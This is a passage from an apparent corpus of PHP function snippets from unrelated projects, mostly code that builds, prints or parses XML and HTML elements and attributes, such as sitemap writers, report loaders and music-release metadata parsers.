break;\t \t\t\t\n\t \t\t\tdefault: \t\t$output .= $attribute.' '; break;\n\t \t\t}\t \t\t \n\t \t}\n\t \telse{ $output .= ' '.$attribute.'=\"'.$value.'\" ';\t} \t\n\t}\n\treturn $output;\n}", "function startTag($parser, $element, $attribute) {\r\n switch ($element) {\r\n case \"MAHASISWA\":echo \"<h3>Mahasiswa</h3>\";\r\n break;\r\n case \"NAMA\" : echo \"Nama : \";\r\n break;\r\n case \"ALAMAT\" : echo \"Alamat : \";\r\n break;\r\n }\r\n}", "function master_xml_export()\n\t{\n\t\t//-----------------------------------------\n\t\t// INIT\n\t\t//-----------------------------------------\n\n\t\t$entry = array();\n\n\t\t//-----------------------------------------\n\t\t// Get XML class\n\t\t//-----------------------------------------\n\n\t\trequire_once( KERNEL_PATH.'class_xml.php' );\n\n\t\t$xml = new class_xml();\n\n\t\t$xml->doc_type = $this->ipsclass->vars['gb_char_set'];\n\n\t\t$xml->xml_set_root( 'export', array( 'exported' => time() ) );\n\n\t\t//-----------------------------------------\n\t\t// Set group\n\t\t//-----------------------------------------\n\n\t\t$xml->xml_add_group( 'group' );\n\n\t\t//-----------------------------------------\n\t\t// Get templates...\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'from' => 'components',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'where' => \"com_section != 'bugtracker'\" ) );\n\n\t\t$this->ipsclass->DB->simple_exec();\n\n\t\twhile ( $r = $this->ipsclass->DB->fetch_row() )\n\t\t{\n\t\t\t$content = array();\n\n\t\t\t//-----------------------------------------\n\t\t\t// Sort the fields...\n\t\t\t//-----------------------------------------\n\n\t\t\tforeach( $r as $k => $v )\n\t\t\t{\n\t\t\t\t$content[] = $xml->xml_build_simple_tag( $k, $v );\n\t\t\t}\n\n\t\t\t$entry[] = $xml->xml_build_entry( 'row', $content );\n\t\t}\n\n\t\t$xml->xml_add_entry_to_group( 'group', $entry );\n\n\t\t$xml->xml_format_document();\n\n\t\t$doc = $xml->xml_document;\n\n\t\t//-----------------------------------------\n\t\t// Print to browser\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->admin->show_download( $doc, 'components.xml', '', 0 );\n\t}", "protected function get_element_header_content(&$element) {\n global $CFG;\n\n $content = array();\n $attributes = array();\n $text = $element['object']->get_name();\n\n if ($element['type'] != 'item' and $element['type'] != 'categoryitem' and\n $element['type'] != 'courseitem') {\n $content[0] = progress_report_generator::build_content_text_node($text);\n return $content;\n }\n\n $itemtype = $element['object']->itemtype;\n $itemmodule = $element['object']->itemmodule;\n $iteminstance = $element['object']->iteminstance;\n\n if ($itemtype=='mod' and $iteminstance and $itemmodule) {\n if ($cm = get_coursemodule_from_instance($itemmodule, $iteminstance, $this->courseid)) {\n\n $a = new stdClass();\n $a->name = get_string('modulename', $element['object']->itemmodule);\n $attributes['title'] = get_string('linktoactivity', 'grades', $a);\n $dir = $CFG->dirroot.'/mod/'.$itemmodule;\n\n if (file_exists($dir.'/grade.php')) {\n $attributes['href'] = $CFG->wwwroot.'/mod/'.$itemmodule.'/grade.php?id='.$cm->id;\n } else {\n $attributes['href'] = $CFG->wwwroot.'/mod/'.$itemmodule.'/view.php?id='.$cm->id;\n }\n }\n }\n $content[0] = progress_report_generator::build_content_container_node(progress_report_generator::HTML_HYPERLINK, $attributes);\n $content[0]['children'][0] = progress_report_generator::build_content_text_node($text);\n\n return $content[0];\n }", "function list_attributes() {\n\t\t$attributes = $this->get_attributes();\n\t\tif ($attributes && sizeof($attributes)>0) :\n\t\t\t\n\t\t\techo '<table cellspacing=\"0\" class=\"shop_attributes\">';\n\t\t\t$alt = 1;\n\t\t\tforeach ($attributes as $attribute) :\n\t\t\t\tif ($attribute['visible'] == 'no') continue;\n\t\t\t\t$alt = $alt*-1;\n\t\t\t\techo '<tr class=\"';\n\t\t\t\tif ($alt==1) echo 'alt';\n\t\t\t\techo '\"><th>'.wptexturize($attribute['name']).'</th><td>';\n\t\t\t\t\n\t\t\t\tif (is_array($attribute['value'])) $attribute['value'] = implode(', ', $attribute['value']);\n\t\t\t\t\n\t\t\t\techo wpautop(wptexturize($attribute['value']));\n\t\t\t\t\n\t\t\t\techo '</td></tr>';\n\t\t\tendforeach;\n\t\t\techo '</table>';\n\n\t\tendif;\n\t}", "public function __toString() {\n $str = \"<{$this->name} \";\n foreach ($this->attributes as $key => $val) {\n $str .= \"$key=\\\"$val\\\" \";\n }\n $str = rtrim($str) . \">\" . $this->value . \"</{$this->name}>\";\n\n return $str;\n }", "protected function getAsXmlAtributosRepresentacionXml()\n {\n $idioma_arr = $reg_webservice=Zend_Registry::get('idioma');\n $num_idiomas = $idioma_arr[\"count\"];\n $string_xml =\"\\t<nombre>\".htmlentities($this->_nombre, ENT_XML1).\"</nombre>\\n\";\n $string_xml.=\"\\t<descripcion>\\n\";\n for($i=0;$i<$num_idiomas;$i++){ \n $idioma= $idioma_arr[$i];\n $string_xml.=\"\\t\\t<\".$idioma.\">\";\n $string_xml.=htmlentities($this->_descripcion_arr[$idioma], ENT_XML1);\n $string_xml.=\"</\".$idioma.\">\\n\";\n } \n $string_xml.=\"\\t</descripcion>\\n\";\n $string_xml.=\"\\t<descripcion_larga>\\n\";\n for($i=0;$i<$num_idiomas;$i++){ \n $idioma= $idioma_arr[$i];\n $string_xml.=\"\\t\\t<\".$idioma.\">\";\n $string_xml.=htmlentities($this->_descripcion_larga_arr[$idioma], ENT_XML1);\n $string_xml.=\"</\".$idioma.\">\\n\";\n } \n $string_xml.=\"\\t</descripcion_larga>\\n\";\n $string_xml.=\"\\t<imagen_principal>\".$this->_imagen_principal.\"</imagen_principal>\\n\";\n $string_xml.=\"\\t<catalogo_galeria>\\n\";\n foreach($this->_catalogo_galeria_arr as $imagen){ \n $string_xml.=\"\\t\\t<imagen>\";\n $string_xml.=$imagen;\n $string_xml.=\"</imagen>\\n\";\n } \n $string_xml.=\"\\t</catalogo_galeria>\\n\";\n $string_xml.=\"\\t<video_principal>\".$this->_video_principal.\"</video_principal>\\n\";\n $string_xml.=\"\\t<catalogo_video>\\n\";\n foreach($this->_catalogo_video_arr as $video){ \n $string_xml.=\"\\t\\t<video>\";\n $string_xml.=$video;\n $string_xml.=\"</video>\\n\";\n } \n $string_xml.=\"\\t</catalogo_video>\\n\";\n $string_xml.=$this->_Twitter->getAsXml();\n \n $string_xml.=\"\\t<tags>\";\n foreach($this->_id_tags_arr as $id_tag){ \n $string_xml.=\"\\t\\t<id_tag>\".$id_tag.\"</id_tag>\\n\";\n } \n $string_xml.=\"\\t</tags>\\n\";\n \n return $string_xml;\n }", "final public function getFields(DOMElement $element){\n\t\t$fields = array();\n\t\t$list = $element->getElementsByTagName('field');\n\t\tfor($i = 0; $i < $list->length; $i++){\n\t\t\t$fields[] = $list->item($i)->getAttribute('name');\n\t\t}\n\n\t\tif(sizeof($fields) == 0){\n\t\t\t$fields = false;\n\t\t}\n\t\t$return = array();\n\t\twhile(list(,$column) = $this->getTable()->eachColumn()){\n\t\t\tif(($fields === false || in_array($column->getName(), $fields)) && $column->isWritable()){\n\t\t\t\t$return[] = '\\''.$column->getFieldReadableVariableName().'\\'';\n\t\t\t}\n\t\t}\n\t\treturn implode(', ', $return);\n\t}", "public function testWriteElement() {\n $writer = new XmlSitemapWriter($this->sitemap, '1');\n $writer->openMemory();\n $writer->writeElement('url', [\n 'item1' => 'value1',\n [\n 'key' => 'item2',\n 'value' => '<value2>',\n ],\n [\n 'key' => 'item3',\n 'value' => [\n 'subkey' => 'subvalue',\n ],\n 'attributes' => [\n 'attr1key' => 'attr1value',\n 'attr2key' => '<attr2value>',\n ],\n ],\n ]);\n $output = $writer->outputMemory();\n $expected = '<url><item1>value1</item1><item2>&lt;value2&gt;</item2><item3 attr1key=\"attr1value\" attr2key=\"&lt;attr2value&gt;\"><subkey>subvalue</subkey></item3></url>' . PHP_EOL;\n $this->assertEquals($expected, $output);\n\n $writer->writeElement('url', [\n 'loc' => 'https://www.example.com/test',\n 'image:image' => [\n 'image:loc' => Url::fromUri('https://www.example.com/test.jpg'),\n 'image:title' => new TranslatableMarkup('The image title'),\n 'image:caption' => \"'The image & its \\\"caption.\\\"'\",\n ],\n ]);\n $output = $writer->outputMemory();\n $expected = '<url><loc>https://www.example.com/test</loc><image:image><image:loc>https://www.example.com/test.jpg</image:loc><image:title>The image title</image:title><image:caption>&#039;The image &amp; its &quot;caption.&quot;&#039;</image:caption></image:image></url>' . PHP_EOL;\n $this->assertSame($expected, $output);\n }", "function visita_XML($node,$lev) {\r\n\t$i=0;\r\n\twhile ($node) {\r\n\t\t$nome=$node->node_name();\r\n\t\techo \"<br> Livello $lev ° Elemento $i ° Nodo : $nome <br>\";\r\n\t\tprint_r($node);\r\n\t\tif ($node->has_attributes()) {\r\n\t\t\techo \"<br>-------- ATTRIBUTI ---------<br>\";\r\n\t\t\t$attr=$node->attributes();\r\n\t\t\tforeach ($attr as $v) {\r\n\t\t\t\tprint_r($v);\r\n\t\t\t\techo \"<br>\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"<br> Nodi Figli : \".count($node->child_nodes()).\"<br>\";\r\n\t\t$i++;\r\n\t\tif ($node->has_child_nodes()) {\r\n\t\t\t$lev++;\r\n\t\t\tvisita_XML($node->first_child(),$lev);\r\n\t\t\t$lev--;\r\n\t\t}\r\n\t\t$node= $node->next_sibling();\t\r\n\t}\r\n}", "public function __toString()\n {\n $attributes = [];\n foreach ($this->attributes as $key => $value) {\n // Make sure to transform arrays to json and esacpe the\n // output accordingly so we don't mess up the markup\n $value = is_array($value) ? json_encode($value) : e($value);\n\n $attributes[] = sprintf(\"data-item-%s='%s'\", $key, $value);\n }\n\n return implode(\" \", $attributes);\n }", "function print_table($database_connection, $table_name) {\r\n\r\n $attributes = get_attributes($database_connection, $table_name);\r\n $tuples = get_rows($database_connection, $table_name);\r\n\r\n print(\"<table>\\n\");\r\n print(\"<tr>\\n\");\r\n for($i = 0; $i < count($attributes); $i++) {\r\n print(\"<th>{$attributes[$i]}</th>\\n\");\r\n }\r\n print(\"</tr>\\n\");\r\n for($j = 0; $j < count($tuples); $j++) {\r\n print(\"<tr>\\n\");\r\n foreach($attributes as $attribute) {\r\n print(\"<td>{$tuples[$j][$attribute]}</td>\\n\");\r\n }\r\n print(\"</tr>\\n\");\r\n }\r\n\r\n print(\"</table>\\n\");\r\n }", "function generateInfoXMLReadOnly(&$moduleInfo,&$elem,&$fields_array,$profile_array){\n\t\t$str='<INFO ';\n\t\tif ($profile_array===FALSE || $profile_array===NULL){\n\t\t\t$fields_nbr = count($fields_array);\n\n\t\t\tfor($i=0;$i<$fields_nbr;$i++){\n\t\t\t\t$n=$fields_array[$i];\n\t\t\t\t$value=$elem[$n];\n\t\t\t\t$value = str_replace(array(\"\\r\\n\", \"\\r\", \"\\n\"), '', $value);\n\t\t\t\tif (!$moduleInfo->isXMLField($fields_array[$i])){\n\t\t\t\t\t$str.=strtoupper($n).'=\"'.encode_to_XML($value).'\" ';\n\t\t\t\t}\n\t\t\t}\n\t\t}else{\n\t\t\t$fields_nbr = count($fields_array);\n\t\t\t$profile_nbr = count($profile_array);\n\t\t\t$fields_ok = 0;\n\t\t\tfor($i=0;$i<$fields_nbr;$i++){\n\t\t\t\t$n=$fields_array[$i];\n\t\t\t\t$value=$elem[$n];\n\t\t\t\t$value = str_replace(array(\"\\r\\n\", \"\\r\", \"\\n\"), '', $value);\n\t\t\t\t//$n=strtoupper($n);\n\t\t\t\t$asked = FALSE;\n\t\t\t\tif (isset($profile_array[strtoupper($n)]))\n\t\t\t\t\t$asked = TRUE;\n\t\t\t\tif ($asked){\n\t\t\t\t\tif (!$moduleInfo->isXMLField($fields_array[$i])){\n\t\t\t\t\t\t$str.=strtoupper($n).'=\"'.encode_to_XML($value).'\" ';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$str.='/>';\n\t\treturn $str;\n\t}", "function get_info_from_xml($xml_a_traiter)\n{\n\t//Création des tableaux\n\t\t$liste_info['message_id'] = array();\n\t\t$liste_info['isrc'] = array();\n\t\t$liste_info['technicalresourcedetailsreference'] = array();\n\t\t$liste_info['audiocodectype'] = array();\n\t\t$liste_info['bitrate'] = array();\n\t\t$liste_info['url'] = array();\t\t\n\t\t$liste_info['fichier_destination'] = array();\t\n\t\t$liste_info['album_grid'] = array();\t\n\t\t\t\n\t//Reading xml file\t\t\n\t\t$xmlContent = file_get_contents($xml_a_traiter);\t\n\t\tif ($xmlContent == \"\") \n\t\t{\n\t\t\techo \"Fichier XML Vide!\" . \"\\n\";\n\t\t}\n\t\telse \n\t\t{\n\t\t\t$tabXML = array();\n\t\t\t$tabXML = xml2array($xmlContent);\t\n\t\t}\n\t//************************************************************************************************************\t\n\t//Récuperation du MessageId\n\t\tif(isset($tabXML['ernm:PurgeReleaseMessage']))\n\t\t\t$liste_info['message_id'] = $tabXML['ernm:PurgeReleaseMessage']['MessageHeader']['MessageId']['value'];\n\t\telse\n\t\t\t$liste_info['message_id'] = $tabXML['ernm:NewReleaseMessage']['MessageHeader']['MessageId']['value'];\n\t//************************************************************************************************************\n\t//For processing the array in the same manner even if there is one or more sub-block\n\t\tif (isset($tabXML['ernm:NewReleaseMessage']['ResourceList']['SoundRecording'][0])) \n\t\t{\n\t\t\t//There are several sub-block\n\t\t\t$ProductInfoSoundRecording = null;\n\t\t\t$ProductInfoSoundRecording = $tabXML['ernm:NewReleaseMessage']['ResourceList']['SoundRecording'];\n\t\t}\n\t\telse \n\t\t{\n\t\t\t//There is one sub-block\n\t\t\t$ProductInfoSoundRecording = null;\n\t\t\t$ProductInfoSoundRecording[0] = $tabXML['ernm:NewReleaseMessage']['ResourceList']['SoundRecording'];\n\t\t}\n\t\t\n\t//************************************************************************************************************\t\n\t$nb_SoundRecording = count($ProductInfoSoundRecording);\n\tfor($element=0;$element<$nb_SoundRecording;$element++)\n\t{\t\n\t\t$info_track_tmp1['SoundRecording_SoundRecordingId_ISRC'] \t\t\t\t\t\t\t= $ProductInfoSoundRecording[$element]['SoundRecordingId']['ISRC']['value'];\n\t\t$info_track_tmp1['SoundRecording_ResourceReference'] \t\t\t\t\t\t\t\t= $ProductInfoSoundRecording[$element]['ResourceReference']['value'];\n\n\t\t//************************************************************************************************************\n\t\t//For processing the array in the same manner even if there is one or more sub-block\t\t\t\n\t\t\tif (isset($ProductInfoSoundRecording[$element]['SoundRecordingDetailsByTerritory']['TechnicalSoundRecordingDetails'][0])) \n\t\t\t{\n\t\t\t\t//There are several sub-block\n\t\t\t\t$ProductInfoTechnicalSoundRecordingDetails = null;\n\t\t\t\t$ProductInfoTechnicalSoundRecordingDetails = $ProductInfoSoundRecording[$element]['SoundRecordingDetailsByTerritory']['TechnicalSoundRecordingDetails'];\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t//There is one sub-block\n\t\t\t\t$ProductInfoTechnicalSoundRecordingDetails = null;\n\t\t\t\t$ProductInfoTechnicalSoundRecordingDetails[0] = $ProductInfoSoundRecording[$element]['SoundRecordingDetailsByTerritory']['TechnicalSoundRecordingDetails'];\n\t\t\t}\t\t\n\t\t//************************************************************************************************************\n\t\t$nb_TechnicalSoundRecordingDetails = count($ProductInfoTechnicalSoundRecordingDetails);\n\t\t\n\t\tfor($y=0;$y<$nb_TechnicalSoundRecordingDetails;$y++)\n\t\t{\n\t\t\tif(isset($ProductInfoTechnicalSoundRecordingDetails[$y]['BitsPerSample']['value']))\n\t\t\t{\n\t\t\t\tarray_push($liste_info['isrc'],$ProductInfoSoundRecording[$element]['SoundRecordingId']['ISRC']['value']);\n\t\t\t\tarray_push($liste_info['technicalresourcedetailsreference'],$ProductInfoTechnicalSoundRecordingDetails[$y]['TechnicalResourceDetailsReference']['value']);\n\t\t\t\tarray_push($liste_info['audiocodectype'],$ProductInfoTechnicalSoundRecordingDetails[$y]['AudioCodecType']['value']);\n\t\t\t\tarray_push($liste_info['bitrate'],$ProductInfoTechnicalSoundRecordingDetails[$y]['BitsPerSample']['value']);\t\t\t\n\t\t\t\tarray_push($liste_info['url'],$ProductInfoTechnicalSoundRecordingDetails[$y]['File']['URL']['value']);\t\t\t\n\t\t\t\tarray_push($liste_info['fichier_destination'],$ProductInfoTechnicalSoundRecordingDetails[$y]['TechnicalResourceDetailsReference']['value'].\"_\".$ProductInfoTechnicalSoundRecordingDetails[$y]['AudioCodecType']['value'].\"_\".$ProductInfoTechnicalSoundRecordingDetails[$y]['BitsPerSample']['value'].\"_\".$ProductInfoSoundRecording[$element]['SoundRecordingId']['ISRC']['value'].\".\".strtolower($ProductInfoTechnicalSoundRecordingDetails[$y]['AudioCodecType']['value']));\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t}\n\t//************************************************************************************************************\t\n\t\t//For processing the array in the same manner even if there is one or more sub-block\n\t\t\tif (isset($tabXML['ernm:NewReleaseMessage']['ReleaseList']['Release'][0])) \n\t\t\t{\n\t\t\t\t//There are several sub-block\n\t\t\t\t$ProductInfoRelease = null;\n\t\t\t\t$ProductInfoRelease = $tabXML['ernm:NewReleaseMessage']['ReleaseList']['Release'];\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t//There is one sub-block\n\t\t\t\t$ProductInfoRelease = null;\n\t\t\t\t$ProductInfoRelease[0] = $tabXML['ernm:NewReleaseMessage']['ReleaseList']['Release'];\n\t\t\t}\n\t\t//************************************************************************************************************\t\n\t\t$nb_Release = count($ProductInfoRelease);\n\t\tfor($element=0;$element<$nb_Release;$element++)\n\t\t{\n\t\t\tif($ProductInfoRelease[$element]['ReleaseType']['value']==\"Album\" or $ProductInfoRelease[$element]['ReleaseType']['value']==\"Single\" or $ProductInfoRelease[$element]['ReleaseType']['value']==\"Bundle\" or $ProductInfoRelease[$element]['ReleaseType']['value']==\"ClassicalAlbum\")\n\t\t\t{\n\t\t\t\t$liste_info['album_grid'] = $ProductInfoRelease[$element]['ReleaseId']['GRid']['value'];\n\t\t\t\t$liste_info['globaloriginalreleasedate'] = $ProductInfoRelease[$element]['GlobalOriginalReleaseDate']['value'];\n\t\t\t}\n\t\t}\n\t//************************************************************************************************************\n\n\treturn $liste_info;\n}", "public function __toString()\n {\n return $this->_sXml ;\n }", "public function afficherXML(){\n echo\"<humidite>\";\n\n echo\"<moyenne>\".$this->moyenne.\"</moyenne>\";\n echo\"<max>\".$this->max.\"</max>\";\n echo\"<min>\".$this->min.\"</min>\";\n echo\"<nombreHumiditeReference>\".$this->nombreHumiditeReference.\"</nombreHumiditeReference>\";\n echo\"<date>\".$this->date.\"</date>\";\n\n echo\"</humidite>\";\n }", "function printChild($data)\n{\n\n}", "public function csvData()\n {\n }", "function print_r_xml($arr,$wrapper = 'data',$cycle = 1)\n{\n\t//useful vars\n\t$new_line = \"\\n\";\n\n\t//start building content\n\tif($cycle == 1) { $output = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>'.$new_line; }\n\t$output.= tabify($cycle - 1).'<'.$wrapper.'>'.$new_line;\n\tforeach($arr as $key => $val)\n\t{\n\t\tif(!is_array($val))\n\t\t{\n\t\t\t$output.= tabify($cycle).'<'.htmlspecialchars($key).'>'.$val.'</'.htmlspecialchars($key).'>'.$new_line;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$output.= print_r_xml($val,$key,$cycle + 1).$new_line;\n\t\t}\n\t}\n\t$output.= tabify($cycle - 1).'</'.$wrapper.'>';\n\n\t//return the value\n\treturn $output;\n}", "public function getValuesXml();", "function generateInfoXML($moduleInfo,$elem,$profile){\n\n\t\t// authorized fields\n\t\t$fields_array = $moduleInfo->getFieldsBySecurity('R');\n\n\t\t// fields asked for return in XML\n\t\tif (is_object($profile)){\n\t\t\t$profile_array = $profile->getIncludedFields();\n\t\t}else{\n\t\t\t$profile_array = false;\n\t\t}\n\t\t// user own contact fiche is completely readable to him, even if he's got very few rights\n\t\t$own_contact = ($moduleInfo->getName() == 'contact' && $elem['ID'] === OfficityUser::getID());\n\t\tif($own_contact){\n\t\t\t$fields_array = $moduleInfo->getFieldsBySecurity('0');\n\t\t}\n\n\t\tif($profile->getInfoMode() == 'read-only'){\n\n\t\t\t$infoXML = $this->generateInfoXMLReadOnly($moduleInfo,$elem,$fields_array,$profile_array,$profile->desc_output);\n\n\t\t}else{\n\n\t\t\t$infoGenerator = new NectilElementInfo($moduleInfo->getID(),$elem['ID'],$elem);\n\t\t\tif(is_object($profile)){\n\t\t\t\t$infoGenerator->setProfile($profile->getInfoProfile());\n\t\t\t}\n\t\t\t$infoGenerator->setSecurityProfile($fields_array);\n\n\t\t\t$infoXML = $infoGenerator->getXML();\n\t\t}\n\t\treturn $infoXML;\n\t}", "function array_to_xml($student_info, &$xml_student_info) {\n\tforeach($student_info as $key => $value) {\n\t\tif(is_array($value)) {\n\t\t\tif(!is_numeric($key)){\n\t\t\t\t$subnode = $xml_student_info->addChild(\"$key\");\n\t\t\t\tarray_to_xml($value, $subnode);\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$subnode = $xml_student_info->addChild(\"item$key\");\n\t\t\t\tarray_to_xml($value, $subnode);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t$xml_student_info->addChild(\"$key\",htmlspecialchars(\"$value\"));\n\t\t}\n\t}\n}", "public function csv_export() {\n\t$export = \"\";\n\t$order_id = null;\n\t$order_ids = array();\n\t$headers = array();\n\t$products = array();\n\t$summaries = array();\n\tforeach ($this->records as $record) {\n\t $order_id = $record[\"order_id\"];\n\t $order_ids[] = $order_id;\n\t if(!isset($headers[$order_id])) {\n\t\t$headers[$order_id] = $this->build_order_header($record);\n\t }\n\t $products[$order_id] = (isset($products[$order_id]) ? $products[$order_id] : '').$this->build_order_product_line($record);\n\t if(!isset($summaries[$order_id])) {\n\t\t$summaries[$order_id] = $this->build_order_summary($record);\n\t }\n\t}\n\t$order_ids = array_unique($order_ids);\n\tforeach($order_ids as $oid) {\n\t $export .= $headers[$oid].$products[$oid].$summaries[$oid];\n\t}\n\n\treturn $export;\n }", "private function xmlStartElement($parser, $name,$attribs): void {\r\n\t\t$this->xmlAttrib[$this->xmlCount]=$attribs;\r\n\t\t$this->xmlName[$this->xmlCount]=$name;\r\n\t\t$this->xmlSData[$this->xmlCount]='$this->makeTableHeader(\"xml\",\"xml element\",2);';\r\n\t\t$this->xmlSData[$this->xmlCount].='$this->makeTDHeader(\"xml\",\"xmlName\");';\r\n\t\t$this->xmlSData[$this->xmlCount].='echo \"<strong>'.$this->xmlName[$this->xmlCount].'</strong>\".$this->closeTDRow();';\r\n\t\t$this->xmlSData[$this->xmlCount].='$this->makeTDHeader(\"xml\",\"xmlAttributes\");';\r\n\t\tif(count($attribs)>0) {\r\n\t\t\t$this->xmlSData[ $this->xmlCount ] .= '$this->varIsArray($this->xmlAttrib[' . $this->xmlCount . ']);';\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$this->xmlSData[ $this->xmlCount ] .= 'echo \"&nbsp;\";';\r\n\t\t}\r\n\t\t$this->xmlSData[$this->xmlCount].='echo $this->closeTDRow();';\r\n\t\t$this->xmlCount++;\r\n\t}", "function toXML()\n {\n // Not implemented yet.\n }", "public function __toString()\n\t{\n\t\tif (substr($this->name, -2) == '()')\n\t\t{\n\t\t\treturn PHP_EOL . substr($this->name, 0, -2) . '(' . implode($this->glue, $this->elements) . ')';\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn PHP_EOL . $this->name . ' ' . implode($this->glue, $this->elements);\n\t\t}\n\t}", "protected function wp_kses_attr_parse($element) { //+\n\t$valid = preg_match('%^(<\\s*)(/\\s*)?([a-zA-Z0-9]+\\s*)([^>]*)(>?)$%', $element, $matches);\n\tif (1 !== $valid) {\n\t\treturn false;\n\t}\n\n\t$begin = $matches[1];\n\t$slash = $matches[2];\n\t$elname = $matches[3];\n\t$attr = $matches[4];\n\t$end = $matches[5];\n\n\tif ('' !== $slash) {\n\t\t// Closing elements do not get parsed.\n\t\treturn false;\n\t}\n\n\t// Is there a closing XHTML slash at the end of the attributes?\n\tif (1 === preg_match('%\\s*/\\s*$%', $attr, $matches)) {\n\t\t$xhtml_slash = $matches[0];\n\t\t$attr = substr($attr, 0, -strlen($xhtml_slash));\n\t} else {\n\t\t$xhtml_slash = '';\n\t}\n\t\n\t// Split it\n\t$attrarr = $this->wp_kses_hair_parse($attr);\n\tif (false === $attrarr) {\n\t\treturn false;\n\t}\n\n\t// Make sure all input is returned by adding front and back matter.\n\tarray_unshift($attrarr, $begin . $slash . $elname);\n\tarray_push($attrarr, $xhtml_slash . $end);\n\t\n\treturn $attrarr;\n}", "function start_element($parser, $name, $attrs) {\r\n if ( $name == 'NAME' ) {\r\n print '<li class=\"rp-contributor\">';\r\n } elseif ( $name == 'ITEM' ) {\r\n print '<br><span class=\"rp_contributor_notes\">Contributed: ';\r\n }\r\n\r\n if ( $name == 'URL' ) {\r\n $this->make_link = true;\r\n }\r\n }", "public function load_xml_string(string $jrxml): self\n {\n $obj = simplexml_load_string($jrxml,SimpleXMLElement::class,LIBXML_NOCDATA);\n // $obj = simplexml_load_string($jrxml,SimpleXMLElement::class,LIBXML_DTDVALID);\n // $obj = simplexml_load_string($jrxml,SimpleXMLElement::class,LIBXML_DTDLOAD);\n // $obj = simplexml_load_string($jrxml);\n // $obj = simplexml_load_string($jrxml,SimpleXMLElement::class,LIBXML_HTML_NOIMPLIED);\n // $obj = simplexml_load_string($jrxml,SimpleXMLElement::class,LIBXML_HTML_NODEFDTD);\n // $obj = simplexml_load_string($jrxml,SimpleXMLElement::class,LIBXML_DTDATTR);\n // $obj = simplexml_load_string($jrxml,SimpleXMLElement::class,LIBXML_COMPACT);\n // echo gettype($obj);\n $this->pageproperties = $this->prop($obj);\n $this->columnWidth=$this->pageproperties['columnWidth'] ?? $this->pageproperties['pageWidth'];\n $this->columnCount=$this->pageproperties['columnCount']??1;\n $this->printOrder = $this->pageproperties['printOrder']?? 'Vertical' ;\n foreach ($obj as $k=>$out)\n { \n $setting = $this->prop($out);\n $name= isset($setting['name']) ? $setting['name'] : ''; \n switch($k)\n {\n case 'property':\n $this->pageproperties[$name]=$setting; \n break;\n case 'field': \n case 'parameter':\n case 'variable':\n $attributename = $k.'s'; \n foreach($out as $key=>$value)\n {\n $setting[$key]=(string)$value;\n }\n $setting['datatype']=$this->getDataType($setting);\n \n if($k=='variable')\n {\n // print_r($setting);\n if(empty($setting['variableExpression']))\n {\n die(\"variable $name undefined expression\");\n }\n $setting['value']=null;\n }\n else if($k=='parameter')\n {\n $setting['value']=null;\n }\n $this->$attributename[$name]=$setting; \n break; \n case 'scriptlet':\n $this->scriptlets[$name]=(string)$out->scriptletDescription;\n break;\n case 'sortField':\n $this->sortFields[$name]=$setting;\n break;\n case 'queryString':\n $this->setQueryString($out);\n break;\n case \"subDataset\":\n $this->addSubDataSets($name,$out);\n break;\n case 'group': \n $this->addGroup($out); \n break;\n //all bands\n case 'background':\n case 'title':\n case 'pageHeader':\n case 'columnHeader':\n case 'detail':\n case 'columnFooter':\n case 'pageFooter':\n case 'lastPageFooter':\n case 'summary':\n case 'noData':\n $this->addBand($k,$out);\n break;\n case 'style':\n $this->addStyle($name,$out);\n break;\n default: \n echo \"$k is not supported, rendering stop\\n\"; \n die;\n break;\n }\n } \n return $this;\n }", "public function __construct(\\SimpleXMLElement $xml)\n {\n foreach ($xml->attributes() as $name => $value) {\n switch ($name) {\n case 'variable':\n $this->variable = (string) $value;\n break;\n case 'sort':\n $this->sort = (string) $value;\n break;\n }\n }\n\n }", "function xml_form_by_file($xml_file) {\r\n\t\t$xml = new my_xml_parser ( $xml_file );\r\n\t\t$this->xml_form_by_obj ( $xml );\r\n\t\t\r\n//\t\tif($this->config_service['multilang']==\"1\"){\r\n//\t\t\t$xml_and = simplexml_load_file($xml_file) or die(\"feed not loading\");\r\n//\t\t\tforeach($xml_and->field as $key => $val){\r\n//\t\t\t\tforeach( $val->txt_value as $k => $v ){\r\n//\t\t\t\t\techo $k ;print_R($v); echo \"--<br>\";\r\n//\t\t\t\t\t\r\n//\t\t\t\t}\r\n//\t\t\t}\r\n//\t\t}\r\n\t}", "public function __toString()\r\n\t{\r\n\t\treturn $this->dom->saveXML();\r\n\t}", "public function getXml() {}", "function prepare_attributes($index_section)\n{\n // next code need because xmlpipe_attr_uint can't simple maped as other attrebutes\n // $attr_map has type in output xml as key and name of attribute from config as value\n $attr_map = array(\n 'int' => 'xmlpipe_attr_uint',\n 'timestamp' => 'xmlpipe_attr_timestamp',\n 'bool' => 'xmlpipe_attr_bool',\n 'str2ordinal' => 'xmlpipe_attr_str2ordinal',\n 'float' => 'xmlpipe_attr_float',\n );\n $xml_doc_attr_list = array();\n foreach ($attr_map as $attr_type => $key_in_config)\n {\n if (isset($index_section[$key_in_config]))\n {\n $xml_doc_attr_list = array_merge($xml_doc_attr_list, get_attrs($attr_type, $index_section[$key_in_config]));\n }\n }\n return $xml_doc_attr_list;\n}", "private function parseSource( ezcFeedSourceElement $element, DOMElement $xml )\n {\n foreach ( $xml->childNodes as $sourceChild )\n {\n if ( $sourceChild->nodeType === XML_ELEMENT_NODE )\n {\n $tagName = $sourceChild->tagName;\n\n switch ( $tagName )\n {\n case 'title':\n $this->parseTextNode( $element, $sourceChild, 'title' );\n break;\n\n case 'rights':\n $this->parseTextNode( $element, $sourceChild, 'copyright' );\n break;\n\n case 'subtitle':\n $this->parseTextNode( $element, $sourceChild, 'description' );\n break;\n\n case 'id':\n $subElement = $element->add( 'id' );\n $subElement->id = $sourceChild->textContent;\n break;\n\n case 'generator':\n $subElement = $element->add( 'generator' 